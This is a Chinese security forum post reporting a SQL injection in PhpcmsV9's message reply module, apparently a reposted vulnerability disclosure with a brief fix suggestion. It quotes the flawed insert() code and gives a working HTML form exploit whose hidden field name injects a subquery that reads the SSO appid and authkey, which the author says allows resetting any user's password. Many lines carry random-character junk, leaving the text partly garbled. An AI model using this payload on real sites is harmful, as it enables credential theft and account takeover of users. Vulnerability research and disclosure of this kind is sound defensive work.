找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2133|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:2 |! Z& P+ Q4 M' L3 d& c* j
, H4 q- h) \7 i7 Y
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。% B4 V8 Z% o) a1 K( K8 I
+ G$ z1 O$ F! }8 @+ X' Q( p7 b7 s
明天再更新下一个漏洞。
1 ?: f! `6 g3 [( N8 n7 P4 j详细说明:2 B/ v4 v" u; |  A/ I  k
在/phpcms9/phpcms/modules/message/index.php中有代码如下:( K9 J# ], B, L' H5 s+ Z) l  t

9 p7 h- F9 r( s0 G$messageid = $this->message_db->insert($_POST['info'],true);
$ K+ \+ F9 F1 t/ q8 W, a6 Q8 X: ^; e1 r% K2 s- P5 ^$ i

4 s' K- A' F) G" _insert方法是key value的,代码如下:
$ v; v- L1 o2 ]. V2 l7 p9 M- i  M3 l/ [" w" R) K
public function insert($data, $table, $return_insert_id = false, $replace = false) {" @9 A9 c4 p! F8 \- E
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
9 O5 [3 ^; p: }# }8 E                        return false;
& z+ b9 H8 O& [' Y+ A; B1 I                }; Z0 e) A8 a- d0 M0 _& T- a6 y& S
                / p7 n( \3 P9 j7 N, {/ f
                $fielddata = array_keys($data);
2 r( @% z6 }& F% R- x3 c                $valuedata = array_values($data);) s0 P3 B' \7 S1 g- O
                array_walk($fielddata, array($this, 'add_special_char'));
3 [  |0 g! a+ e# ~& C2 J7 T- h                array_walk($valuedata, array($this, 'escape_string'));' r+ M9 d8 D1 I0 p: z9 @) A
                8 `/ t% c4 _: [9 g3 U/ {
                $field = implode (',', $fielddata);
$ t0 E7 n2 Z% U                $value = implode (',', $valuedata);
1 n9 K, W- P6 i% V( C
) w. n7 x% ^- Z( T! Q% v! i                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';: w. z# t. d7 M9 }& ~5 ~$ M
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';1 b0 s( `: |& S; M
                $return = $this->execute($sql);" s& Y( E- X% s& C3 Q3 E! B
                return $return_insert_id ? $this->insert_id() : $return;% r+ A! a$ V. E
        }
7 Z: X' F) h- p6 s0 E
: ~" g2 Z8 Q6 }! z, F- R! a& |1 e9 R, C0 z8 K2 u
嗯,很遗憾的是% K- C- E5 q0 S& H  N* ^; u! Z
- t- F  p+ v1 w
array_walk($fielddata, array($this, 'add_special_char'));
% b4 J1 r# i6 m% E4 R4 V. ?
, T$ P3 {) f5 |  H2 }) k2 w
& }; j4 |" o  Y+ A7 g中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。4 ~3 Z( P- r! o0 {

1 w* N  S6 y; M6 o# \1 P# H. f到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
' T& J1 A- l: ^& p- z, h  h
2 S! f9 D. B5 K) b漏洞证明:; j! j# Q6 g9 I' H8 B3 Z5 F% F3 S
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。1 G7 q& j) w0 w: i+ l0 V6 ^1 B

' N; W* r$ G; T) R" Z2 g3 t/ v2 w7 U; y" z9 p# b
表单如下:用户名什么的得自己改一改。% v, h  y6 d5 h. Y4 E3 s
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">6 J! T+ n1 m+ N. X* k
<table width="100%" cellspacing="0" class="table_form">
2 }, e; o/ ~" W8 x/ h5 N<tr>
# I$ {% I  ]/ m0 m% j  ]: b<th>标 题:</th>
, p8 d3 F% G+ m5 B<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>, q9 N! N$ W& B' e
</tr> + W9 g. n- y* N) }2 v% X; x
<tr>6 A+ U* Z! a; k9 ?5 m
<th>内 容:</th>1 y: T% B9 `& {
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>' D: V, f. t1 |( P* ~* A
</tr>( a0 L" t3 u- w, F
<input type="hidden" name="info[replyid]" value="2" />
0 M2 N$ Z; l& h# e$ F3 n% [<input type="hidden" name="info[send_to_id]" value="cc" />
; }- u3 Y5 p  R- O2 r+ j<input type="hidden" name="info[send_from_id]" value="hh">
5 C# @( S/ i/ H; O<!-- 漏洞的利用重点在这里开始 -->
& o# A2 q& S; W4 d7 V( r" e/ ~<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
3 u) L, o/ {! |5 E! s# E<!-- 漏洞的利用重点在这里结束 -->" `7 U* w! U# U/ m4 U, L
<tr>/ J$ ?7 e7 S* |, ]
<th>验证码:</th>
7 q/ b2 \  s2 c3 ]7 V<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
- Q# ]# j; v8 [' \& G) }3 i$ t: I</tr>
1 W* y  j0 g, w<tr>
" g9 i+ U. b$ B2 ^' G. A9 e<td></td>4 T$ L$ `5 S/ Q' j8 x* O
<td colspan="2"><label>9 |3 \' [/ `4 a# n; C- ?7 w
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>1 }% Y4 I1 o% O% y
</label></td>$ s4 Y- I5 U; q7 I
</tr>
( u+ t. g1 U- j  _& p</table>9 t, H2 M0 v6 ?% |
</form>
# E/ l4 K2 I! {' l  T! a在add_special_char函数内对key做过滤就可以了。
  G2 N4 E: D0 E, ^$ q2 H
9 ]( y! r0 R/ i% m$ T& x' V) K9 u" u- L" u% O, M! I' m7 W

7 \  g1 V  Y( W6 V

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表